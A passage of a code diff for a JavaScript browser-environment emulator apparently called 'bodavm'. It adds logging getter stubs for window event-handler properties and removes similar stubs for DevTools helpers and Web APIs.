->${arg}`);return arg} + bodavm.envFunc.window_onratechange_get=function (){let arg=bodavm.memory.globalobj['onratechange']?bodavm.memory.globalobj['onratechange']:null;console.log_copy(`window_onratechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onprogress_get=function (){let arg=bodavm.memory.globalobj['onprogress']?bodavm.memory.globalobj['onprogress']:null;console.log_copy(`window_onprogress_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onplaying_get=function (){let arg=bodavm.memory.globalobj['onplaying']?bodavm.memory.globalobj['onplaying']:null;console.log_copy(`window_onplaying_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onplay_get=function (){let arg=bodavm.memory.globalobj['onplay']?bodavm.memory.globalobj['onplay']:null;console.log_copy(`window_onplay_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpause_get=function (){let arg=bodavm.memory.globalobj['onpause']?bodavm.memory.globalobj['onpause']:null;console.log_copy(`window_onpause_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmousewheel_get=function (){let arg=bodavm.memory.globalobj['onmousewheel']?bodavm.memory.globalobj['onmousewheel']:null;console.log_copy(`window_onmousewheel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseup_get=function (){let arg=bodavm.memory.globalobj['onmouseup']?bodavm.memory.globalobj['onmouseup']:null;console.log_copy(`window_onmouseup_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseover_get=function (){let arg=bodavm.memory.globalobj['onmouseover']?bodavm.memory.globalobj['onmouseover']:null;console.log_copy(`window_onmouseover_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseout_get=function (){let arg=bodavm.memory.globalobj['onmouseout']?bodavm.memory.globalobj['onmouseout']:null;console.log_copy(`window_onmouseout_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmousemove_get=function (){let arg=bodavm.memory.globalobj['onmousemove']?bodavm.memory.globalobj['onmousemove']:null;console.log_copy(`window_onmousemove_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseleave_get=function (){let arg=bodavm.memory.globalobj['onmouseleave']?bodavm.memory.globalobj['onmouseleave']:null;console.log_copy(`window_onmouseleave_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseenter_get=function (){let arg=bodavm.memory.globalobj['onmouseenter']?bodavm.memory.globalobj['onmouseenter']:null;console.log_copy(`window_onmouseenter_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmousedown_get=function (){let arg=bodavm.memory.globalobj['onmousedown']?bodavm.memory.globalobj['onmousedown']:null;console.log_copy(`window_onmousedown_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onloadstart_get=function (){let arg=bodavm.memory.globalobj['onloadstart']?bodavm.memory.globalobj['onloadstart']:null;console.log_copy(`window_onloadstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onloadedmetadata_get=function (){let arg=bodavm.memory.globalobj['onloadedmetadata']?bodavm.memory.globalobj['onloadedmetadata']:null;console.log_copy(`window_onloadedmetadata_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onloadeddata_get=function (){let arg=bodavm.memory.globalobj['onloadeddata']?bodavm.memory.globalobj['onloadeddata']:null;console.log_copy(`window_onloadeddata_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onload_get=function (){let arg=bodavm.memory.globalobj['onload']?bodavm.memory.globalobj['onload']:null;console.log_copy(`window_onload_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onkeyup_get=function (){let arg=bodavm.memory.globalobj['onkeyup']?bodavm.memory.globalobj['onkeyup']:null;console.log_copy(`window_onkeyup_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onkeypress_get=function (){let arg=bodavm.memory.globalobj['onkeypress']?bodavm.memory.globalobj['onkeypress']:null;console.log_copy(`window_onkeypress_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onkeydown_get=function (){let arg=bodavm.memory.globalobj['onkeydown']?bodavm.memory.globalobj['onkeydown']:null;console.log_copy(`window_onkeydown_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oninvalid_get=function (){let arg=bodavm.memory.globalobj['oninvalid']?bodavm.memory.globalobj['oninvalid']:null;console.log_copy(`window_oninvalid_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oninput_get=function (){let arg=bodavm.memory.globalobj['oninput']?bodavm.memory.globalobj['oninput']:null;console.log_copy(`window_oninput_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onformdata_get=function (){let arg=bodavm.memory.globalobj['onformdata']?bodavm.memory.globalobj['onformdata']:null;console.log_copy(`window_onformdata_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onfocus_get=function (){let arg=bodavm.memory.globalobj['onfocus']?bodavm.memory.globalobj['onfocus']:null;console.log_copy(`window_onfocus_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onerror_get=function (){let arg=bodavm.memory.globalobj['onerror']?bodavm.memory.globalobj['onerror']:null;console.log_copy(`window_onerror_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onended_get=function (){let arg=bodavm.memory.globalobj['onended']?bodavm.memory.globalobj['onended']:null;console.log_copy(`window_onended_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onemptied_get=function (){let arg=bodavm.memory.globalobj['onemptied']?bodavm.memory.globalobj['onemptied']:null;console.log_copy(`window_onemptied_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondurationchange_get=function (){let arg=bodavm.memory.globalobj['ondurationchange']?bodavm.memory.globalobj['ondurationchange']:null;console.log_copy(`window_ondurationchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondrop_get=function (){let arg=bodavm.memory.globalobj['ondrop']?bodavm.memory.globalobj['ondrop']:null;console.log_copy(`window_ondrop_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragstart_get=function (){let arg=bodavm.memory.globalobj['ondragstart']?bodavm.memory.globalobj['ondragstart']:null;console.log_copy(`window_ondragstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragover_get=function (){let arg=bodavm.memory.globalobj['ondragover']?bodavm.memory.globalobj['ondragover']:null;console.log_copy(`window_ondragover_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragleave_get=function (){let arg=bodavm.memory.globalobj['ondragleave']?bodavm.memory.globalobj['ondragleave']:null;console.log_copy(`window_ondragleave_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragenter_get=function (){let arg=bodavm.memory.globalobj['ondragenter']?bodavm.memory.globalobj['ondragenter']:null;console.log_copy(`window_ondragenter_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragend_get=function (){let arg=bodavm.memory.globalobj['ondragend']?bodavm.memory.globalobj['ondragend']:null;console.log_copy(`window_ondragend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondrag_get=function (){let arg=bodavm.memory.globalobj['ondrag']?bodavm.memory.globalobj['ondrag']:null;console.log_copy(`window_ondrag_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondblclick_get=function (){let arg=bodavm.memory.globalobj['ondblclick']?bodavm.memory.globalobj['ondblclick']:null;console.log_copy(`window_ondblclick_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncuechange_get=function (){let arg=bodavm.memory.globalobj['oncuechange']?bodavm.memory.globalobj['oncuechange']:null;console.log_copy(`window_oncuechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncontextrestored_get=function (){let arg=bodavm.memory.globalobj['oncontextrestored']?bodavm.memory.globalobj['oncontextrestored']:null;console.log_copy(`window_oncontextrestored_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncontextmenu_get=function (){let arg=bodavm.memory.globalobj['oncontextmenu']?bodavm.memory.globalobj['oncontextmenu']:null;console.log_copy(`window_oncontextmenu_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncontextlost_get=function (){let arg=bodavm.memory.globalobj['oncontextlost']?bodavm.memory.globalobj['oncontextlost']:null;console.log_copy(`window_oncontextlost_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onclose_get=function (){let arg=bodavm.memory.globalobj['onclose']?bodavm.memory.globalobj['onclose']:null;console.log_copy(`window_onclose_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onclick_get=function (){let arg=bodavm.memory.globalobj['onclick']?bodavm.memory.globalobj['onclick']:null;console.log_copy(`window_onclick_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onchange_get=function (){let arg=bodavm.memory.globalobj['onchange']?bodavm.memory.globalobj['onchange']:null;console.log_copy(`window_onchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_$x = function () { let arg = bodavm.memory.globalobj['$x']; console.log(`window_$x`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_$$ = function () { let arg = bodavm.memory.globalobj['$$']; console.log(`window_$$`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_$ = function () { let arg = bodavm.memory.globalobj['$']; console.log(`window_$`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_unmonitorEvents = function () { let arg = bodavm.memory.globalobj['unmonitorEvents']; console.log(`window_unmonitorEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_monitorEvents = function () { let arg = bodavm.memory.globalobj['monitorEvents']; console.log(`window_monitorEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getAccessibleRole = function () { let arg = bodavm.memory.globalobj['getAccessibleRole']; console.log(`window_getAccessibleRole`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getAccessibleName = function () { let arg = bodavm.memory.globalobj['getAccessibleName']; console.log(`window_getAccessibleName`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getEventListeners = function () { let arg = bodavm.memory.globalobj['getEventListeners']; console.log(`window_getEventListeners`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_queryObjects = function () { let arg = bodavm.memory.globalobj['queryObjects']; console.log(`window_queryObjects`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_copy = function () { let arg = bodavm.memory.globalobj['copy']; console.log(`window_copy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_inspect = function () { let arg = bodavm.memory.globalobj['inspect']; console.log(`window_inspect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_unmonitor = function () { let arg = bodavm.memory.globalobj['unmonitor']; console.log(`window_unmonitor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_monitor = function () { let arg = bodavm.memory.globalobj['monitor']; console.log(`window_monitor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_undebug = function () { let arg = bodavm.memory.globalobj['undebug']; console.log(`window_undebug`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_debug = function () { let arg = bodavm.memory.globalobj['debug']; console.log(`window_debug`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_values = function () { let arg = bodavm.memory.globalobj['values']; console.log(`window_values`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_keys = function () { let arg = bodavm.memory.globalobj['keys']; console.log(`window_keys`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_table = function () { let arg = bodavm.memory.globalobj['table']; console.log(`window_table`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_clear = function () { let arg = bodavm.memory.globalobj['clear']; console.log(`window_clear`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_profileEnd = function () { let arg = bodavm.memory.globalobj['profileEnd']; console.log(`window_profileEnd`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_profile = function () { let arg = bodavm.memory.globalobj['profile']; console.log(`window_profile`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_dirxml = function () { let arg = bodavm.memory.globalobj['dirxml']; console.log(`window_dirxml`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_dir = function () { let arg = bodavm.memory.globalobj['dir']; console.log(`window_dir`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitResolveLocalFileSystemURL = function () { let arg = bodavm.memory.globalobj['webkitResolveLocalFileSystemURL']; console.log(`window_webkitResolveLocalFileSystemURL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechRecognitionEvent = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionEvent']; console.log(`window_webkitSpeechRecognitionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechRecognitionError = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionError']; console.log(`window_webkitSpeechRecognitionError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechRecognition = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognition']; console.log(`window_webkitSpeechRecognition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechGrammarList = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammarList']; console.log(`window_webkitSpeechGrammarList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechGrammar = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammar']; console.log(`window_webkitSpeechGrammar`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XSLTProcessor = function () { let arg = bodavm.memory.globalobj['XSLTProcessor']; console.log(`window_XSLTProcessor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VirtualKeyboardGeometryChangeEvent = function () { let arg = bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent']; console.log(`window_VirtualKeyboardGeometryChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoPlaybackQuality = function () { let arg = bodavm.memory.globalobj['VideoPlaybackQuality']; console.log(`window_VideoPlaybackQuality`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_URLPattern = function () { let arg = bodavm.memory.globalobj['URLPattern']; console.log(`window_URLPattern`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedTypePolicy = function () { let arg = bodavm.memory.globalobj['TrustedTypePolicy']; console.log(`window_TrustedTypePolicy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedScriptURL = function () { let arg = bodavm.memory.globalobj['TrustedScriptURL']; console.log(`window_TrustedScriptURL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedScript = function () { let arg = bodavm.memory.globalobj['TrustedScript']; console.log(`window_TrustedScript`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedHTML = function () { let arg = bodavm.memory.globalobj['TrustedHTML']; console.log(`window_TrustedHTML`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SpeechSynthesisUtterance = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisUtterance']; console.log(`window_SpeechSynthesisUtterance`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SpeechSynthesisEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisEvent']; console.log(`window_SpeechSynthesisEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SpeechSynthesisErrorEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisErrorEvent']; console.log(`window_SpeechSynthesisErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SharedWorker = function () { let arg = bodavm.memory.globalobj['SharedWorker']; console.log(`window_SharedWorker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskSignal = function () { let arg = bodavm.memory.globalobj['TaskSignal']; console.log(`window_TaskSignal`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskPriorityChangeEvent = function () { let arg = bodavm.memory.globalobj['TaskPriorityChangeEvent']; console.log(`window_TaskPriorityChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskController = function () { let arg = bodavm.memory.globalobj['TaskController']; console.log(`window_TaskController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Scheduler = function () { let arg = bodavm.memory.globalobj['Scheduler']; console.log(`window_Scheduler`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RemotePlayback = function () { let arg = bodavm.memory.globalobj['RemotePlayback']; console.log(`window_RemotePlayback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PushSubscriptionOptions = function () { let arg = bodavm.memory.globalobj['PushSubscriptionOptions']; console.log(`window_PushSubscriptionOptions`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PushSubscription = function () { let arg = bodavm.memory.globalobj['PushSubscription']; console.log(`window_PushSubscription`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PushManager = function () { let arg = bodavm.memory.globalobj['PushManager']; console.log(`window_PushManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PictureInPictureWindow = function () { let arg = bodavm.memory.globalobj['PictureInPictureWindow']; console.log(`window_PictureInPictureWindow`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PictureInPictureEvent = function () { let arg = bodavm.memory.globalobj['PictureInPictureEvent']; console.log(`window_PictureInPictureEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Permissions = function () { let arg = bodavm.memory.globalobj['Permissions']; console.log(`window_Permissions`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PermissionStatus = function () { let arg = bodavm.memory.globalobj['PermissionStatus']; console.log(`window_PermissionStatus`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PeriodicSyncManager = function () { let arg = bodavm.memory.globalobj['PeriodicSyncManager']; console.log(`window_PeriodicSyncManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentRequestUpdateEvent = function () { let arg = bodavm.memory.globalobj['PaymentRequestUpdateEvent']; console.log(`window_PaymentRequestUpdateEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentManager = function () { let arg = bodavm.memory.globalobj['PaymentManager']; console.log(`window_PaymentManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentInstruments = function () { let arg = bodavm.memory.globalobj['PaymentInstruments']; console.log(`window_PaymentInstruments`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Notification = function () { let arg = bodavm.memory.globalobj['Notification']; console.log(`window_Notification`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigatorUAData = function () { let arg = bodavm.memory.globalobj['NavigatorUAData']; console.log(`window_NavigatorUAData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationTransition = function () { let arg = bodavm.memory.globalobj['NavigationTransition']; console.log(`window_NavigationTransition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationHistoryEntry = function () { let arg = bodavm.memory.globalobj['NavigationHistoryEntry']; console.log(`window_NavigationHistoryEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationDestination = function () { let arg = bodavm.memory.globalobj['NavigationDestination']; console.log(`window_NavigationDestination`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationCurrentEntryChangeEvent = function () { let arg = bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent']; console.log(`window_NavigationCurrentEntryChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigateEvent = function () { let arg = bodavm.memory.globalobj['NavigateEvent']; console.log(`window_NavigateEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrack = function () { let arg = bodavm.memory.globalobj['MediaStreamTrack']; console.log(`window_MediaStreamTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SourceBufferList = function () { let arg = bodavm.memory.globalobj['SourceBufferList']; console.log(`window_SourceBufferList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SourceBuffer = function () { let arg = bodavm.memory.globalobj['SourceBuffer']; console.log(`window_SourceBuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaSource = function () { let arg = bodavm.memory.globalobj['MediaSource']; console.log(`window_MediaSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaSession = function () { let arg = bodavm.memory.globalobj['MediaSession']; console.log(`window_MediaSession`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaMetadata = function () { let arg = bodavm.memory.globalobj['MediaMetadata']; console.log(`window_MediaMetadata`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Ink = function () { let arg = bodavm.memory.globalobj['Ink']; console.log(`window_Ink`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DelegatedInkTrailPresenter = function () { let arg = bodavm.memory.globalobj['DelegatedInkTrailPresenter']; console.log(`window_DelegatedInkTrailPresenter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CustomStateSet = function () { let arg = bodavm.memory.globalobj['CustomStateSet']; console.log(`window_CustomStateSet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CaptureHandleChangeEvent = function () { let arg = bodavm.memory.globalobj['CaptureHandleChangeEvent']; console.log(`window_CaptureHandleChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSFontPaletteValuesRule = function () { let arg = bodavm.memory.globalobj['CSSFontPaletteValuesRule']; console.log(`window_CSSFontPaletteValuesRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothUUID = function () { let arg = bodavm.memory.globalobj['BluetoothUUID']; console.log(`window_BluetoothUUID`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BackgroundFetchRegistration = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRegistration']; console.log(`window_BackgroundFetchRegistration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BackgroundFetchRecord = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRecord']; console.log(`window_BackgroundFetchRecord`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BackgroundFetchManager = function () { let arg = bodavm.memory.globalobj['BackgroundFetchManager']; console.log(`window_BackgroundFetchManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DocumentTimeline = function () { let arg = bodavm.memory.globalobj['DocumentTimeline']; console.log(`window_DocumentTimeline`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTransition = function () { let arg = bodavm.memory.globalobj['CSSTransition']; console.log(`window_CSSTransition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSAnimation = function () { let arg = bodavm.memory.globalobj['CSSAnimation']; console.log(`window_CSSAnimation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationTimeline = function () { let arg = bodavm.memory.globalobj['AnimationTimeline']; console.log(`window_AnimationTimeline`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationPlaybackEvent = function () { let arg = bodavm.memory.globalobj['AnimationPlaybackEvent']; console.log(`window_AnimationPlaybackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_showSaveFilePicker = function () { let arg = bodavm.memory.globalobj['showSaveFilePicker']; console.log(`window_showSaveFilePicker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_showOpenFilePicker = function () { let arg = bodavm.memory.globalobj['showOpenFilePicker']; console.log(`window_showOpenFilePicker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_showDirectoryPicker = function () { let arg = bodavm.memory.globalobj['showDirectoryPicker']; console.log(`window_showDirectoryPicker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getScreenDetails = function () { let arg = bodavm.memory.globalobj['getScreenDetails']; console.log(`window_getScreenDetails`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRLightProbe = function () { let arg = bodavm.memory.globalobj['XRLightProbe']; console.log(`window_XRLightProbe`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRLightEstimate = function () { let arg = bodavm.memory.globalobj['XRLightEstimate']; console.log(`window_XRLightEstimate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRTransientInputHitTestSource = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestSource']; console.log(`window_XRTransientInputHitTestSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRTransientInputHitTestResult = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestResult']; console.log(`window_XRTransientInputHitTestResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRRay = function () { let arg = bodavm.memory.globalobj['XRRay']; console.log(`window_XRRay`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRHitTestSource = function () { let arg = bodavm.memory.globalobj['XRHitTestSource']; console.log(`window_XRHitTestSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRHitTestResult = function () { let arg = bodavm.memory.globalobj['XRHitTestResult']; console.log(`window_XRHitTestResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRWebGLDepthInformation = function () { let arg = bodavm.memory.globalobj['XRWebGLDepthInformation']; console.log(`window_XRWebGLDepthInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRDepthInformation = function () { let arg = bodavm.memory.globalobj['XRDepthInformation']; console.log(`window_XRDepthInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRCPUDepthInformation = function () { let arg = bodavm.memory.globalobj['XRCPUDepthInformation']; console.log(`window_XRCPUDepthInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRWebGLLayer = function () { let arg = bodavm.memory.globalobj['XRWebGLLayer']; console.log(`window_XRWebGLLayer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRViewport = function () { let arg = bodavm.memory.globalobj['XRViewport']; console.log(`window_XRViewport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRViewerPose = function () { let arg = bodavm.memory.globalobj['XRViewerPose']; console.log(`window_XRViewerPose`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRView = function () { let arg = bodavm.memory.globalobj['XRView']; console.log(`window_XRView`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSystem = function () { let arg = bodavm.memory.globalobj['XRSystem']; console.log(`window_XRSystem`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSpace = function () { let arg = bodavm.memory.globalobj['XRSpace']; console.log(`window_XRSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSessionEvent = function () { let arg = bodavm.memory.globalobj['XRSessionEvent']; console.log(`window_XRSessionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSession = function () { let arg = bodavm.memory.globalobj['XRSession']; console.log(`window_XRSession`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRRigidTransform = function () { let arg = bodavm.memory.globalobj['XRRigidTransform']; console.log(`window_XRRigidTransform`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRRenderState = function () { let arg = bodavm.memory.globalobj['XRRenderState']; console.log(`window_XRRenderState`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRReferenceSpaceEvent = function () { let arg = bodavm.memory.globalobj['XRReferenceSpaceEvent']; console.log(`window_XRReferenceSpaceEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRReferenceSpace']; console.log(`window_XRReferenceSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRPose = function () { let arg = bodavm.memory.globalobj['XRPose']; console.log(`window_XRPose`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSourcesChangeEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourcesChangeEvent']; console.log(`window_XRInputSourcesChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSourceEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourceEvent']; console.log(`window_XRInputSourceEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSourceArray = function () { let arg = bodavm.memory.globalobj['XRInputSourceArray']; console.log(`window_XRInputSourceArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSource = function () { let arg = bodavm.memory.globalobj['XRInputSource']; console.log(`window_XRInputSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRFrame = function () { let arg = bodavm.memory.globalobj['XRFrame']; console.log(`window_XRFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRBoundedReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRBoundedReferenceSpace']; console.log(`window_XRBoundedReferenceSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRAnchorSet = function () { let arg = bodavm.memory.globalobj['XRAnchorSet']; console.log(`window_XRAnchorSet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRAnchor = function () { let arg = bodavm.memory.globalobj['XRAnchor']; console.log(`window_XRAnchor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransportError = function () { let arg = bodavm.memory.globalobj['WebTransportError']; console.log(`window_WebTransportError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransportDatagramDuplexStream = function () { let arg = bodavm.memory.globalobj['WebTransportDatagramDuplexStream']; console.log(`window_WebTransportDatagramDuplexStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransportBidirectionalStream = function () { let arg = bodavm.memory.globalobj['WebTransportBidirectionalStream']; console.log(`window_WebTransportBidirectionalStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransport = function () { let arg = bodavm.memory.globalobj['WebTransport']; console.log(`window_WebTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WakeLockSentinel = function () { let arg = bodavm.memory.globalobj['WakeLockSentinel']; console.log(`window_WakeLockSentinel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WakeLock = function () { let arg = bodavm.memory.globalobj['WakeLock']; console.log(`window_WakeLock`, `-> res 